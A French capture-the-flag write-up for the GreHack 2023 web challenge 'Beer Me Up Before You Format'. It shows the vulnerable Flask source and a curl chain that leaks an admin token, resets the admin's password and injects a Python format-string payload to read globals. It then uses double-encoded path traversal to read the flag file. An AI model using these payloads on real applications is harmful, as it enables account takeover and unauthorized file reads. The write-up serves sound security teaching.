[GreHack 2023][Write Up – Web] Beer Me Up Before You Format
Authors : Elweth, Nishacid
URL : https://beer-me-up-before-you-format.ctf.grehack.fr
Découverte
from flask import ( Flask, request, render_template, jsonify ) from api.queries import * import os import jwt import urllib app = Flask(__name__) SECRET = os.urandom(24) ENDPOINTS = ["users"] # add new endpoints in the futur.. @app.route("/") def home(): return render_template("index.html") # To manage multi-endpoints @app.route("/api/<endpoint>/<id_user>") def parse(endpoint, id_user): if endpoint.lower() in ENDPOINTS: if endpoint == "users": return jsonify(error="This endpoint is for admins only."), 403 return jsonify(get_user(int(id_user))) else: return jsonify(error="This page does not exists."), 404 @app.route("/api/password-reset", methods=["POST"]) def password_reset(): json = request.get_json() try: token = json["token"] password = json["password"] if update_password(token, password): return jsonify(success="The password has been reset.") else: return jsonify(error="An error has occured.") except Exception as e: print(e) return jsonify(error="Parameter 'token' or 'password' are missing.") @app.route("/api/login", methods=["POST"]) def login(): json = request.get_json() try: datas = api_login(json["username"], json["password"]) jwt_token = jwt.encode(datas, SECRET, algorithm="HS256") return jsonify(jwt=jwt_token) except Exception as e: print(e) return jsonify(error="Incorrect username or password.") @app.route("/api/admin", methods=["POST"]) def admin(): jwt_token = request.headers.get("X-Api-Key") if jwt_token is None: return jsonify(error="You must provide X-Api-Key header.") try: if jwt.decode(jwt_token, SECRET, algorithms=["HS256"])["role"] == "ADMIN": secret = request.get_json()["secret"] secret = Secret(secret) print(secret) return render_template("secret.html", secret=f"{secret}".format(secret=secret)) else: return jsonify(error="You must be admin !") except Exception as e: return jsonify(error=f"An eror has occured : {e}") @app.route(f"/api/{SECRET_ENDPOINT}", methods=["POST"]) def secret(): jwt_token = request.headers.get("X-Api-Key") if jwt_token is None: return jsonify(error="You must provide X-Api-Key header.") try: if jwt.decode(jwt_token, SECRET, algorithms=["HS256"])["role"] == "ADMIN": filename = urllib.parse.unquote(request.get_json()['filename']) data = "This file doesn't exist" bad_chars = ["../", "\\", "."] is_safe = all(char not in filename for char in bad_chars) if is_safe: filename = urllib.parse.unquote(filename) if os.path.isfile('./'+ filename): with open(filename) as f: data = f.read() return jsonify(data) else: return jsonify(error="You must be admin !") except Exception as e: return jsonify(error=f"An eror has occured : {e}") SECRET_ENDPOINT = "secret" class Secret: def __init__(self, secret): self.secret = secret def __repr__(self): return f"The secret endpoint is : /{self.secret} !"
On a également un Dockerfile qui nous dit que le fichier flag.txt se situe à la racine, l’objectif va donc être de lire ce fichier, ça tombe bien parce qu’un endpoint permet de lire des fichiers : le SECRET_ENDPOINT.
En lisant le code, on voit qu’il faut donc leak la variable globale SECRET_ENDPOINT et obtenir un token d’admin.
Résolution
Token
On va déjà essayer de trouver un admin dans la base de donnée : via /api/<endpoint>/<id_user>
Il suffit de prendre endpoint = Users pour pouvoir accéder aux infos des users à cause du .lower (ligne 1 de la fonction parse). On va donc tester plusieurs IDs jusqu’à trouver un admin.
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/Users/2 > [{"address":"914-3237 Duis St.","city":"North Waziristan","email":"[email protected]","id":2,"phone":"05 88 45 53 65","postalZip":"531448","region":"D\u014dngb\u011bi","role":"ADMIN","token":"74317EF3-5110-385B-2FDC-A07F4F1D9F42","username":"Olsen"}]
On a désormais le token d’un admin.
Mot de passe
On va ensuite changer son mot de passe via /api/password-reset
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/password-reset -X POST -H "Content-Type: application/json" --data '{"token": "74317EF3-5110-385B-2FDC-A07F4F1D9F42", "password": "zyjxzbxa1Pt"}' > {"success":"The password has been reset."}
JWT
Avec son mot de passe, on va être capable de récupérer un jwt via /api/login
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/login -X POST -H "Content-Type: application/json" --data '{"username": "Olsen", "password": "zyjxzbxa1Pt"}' > {"jwt":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ"}
SECRET_ENDPOINT
On a désormais un JWT d’admin valide et on peut donc accéder à /api/admin
C’est ici que le titre du challenge va entrer en jeu, on s’aperçoit que l’entrée utilisateur va subir un .format à la ligne 9 de la fonction « admin » à cause du fait que le développeur ait utilisé une f string doublé d’un .format au lieu de ne faire que l’un des 2.
On se retrouve donc dans la situation suivante : on va avoir a.format(secret=secret) avec a = « xxx<contrôlé par l’utilisateur>xxx », on va donc pouvoir exploiter ça de la manière suivante :
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/admin -X POST -H "Content-Type: application/json" -H "X-Api-Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ" --data '{"secret": "{secret.__init__.__globals__[SECRET_ENDPOINT]}"}' > The secret endpoint is : /admin-s3cr3t-3ndp01nt-Ungu3ss4ble !
FLAG
On a donc le fameux SECRET_ENDPOINT et on veut récupérer le /flag.txt
Déjà on se rend compte que l’entrée utilisateur va être préfixée par un `./`, on va donc devoir utiliser un chemin relatif.
Ensuite, on a interdiction d’utiliser les caractères suivants :
["../", "\\", "."]
Heureusement, le développeur n’est pas très dégourdi et va faire 2 urllib.parse.unquote, un avant la vérification des caractères et un après, on va donc pouvoir faire du double encoding pour bypass la vérification :
$ curl https://beer-me-up-before-you-format.ctf.grehack.fr/api/admin-s3cr3t-3ndp01nt-Ungu3ss4ble -X POST -H "Content-Type: application/json" -H "X-Api-Key: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Miwicm9sZSI6IkFETUlOIn0.bwFy-2oXWhomPZxfljwwtLaVAY2fOcmixgjQFWKPYZQ" --data '{"filename": "%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/flag%252etxt"}' > "GH{F0rm4t_Str1ng_t0_D4T4_L34K}"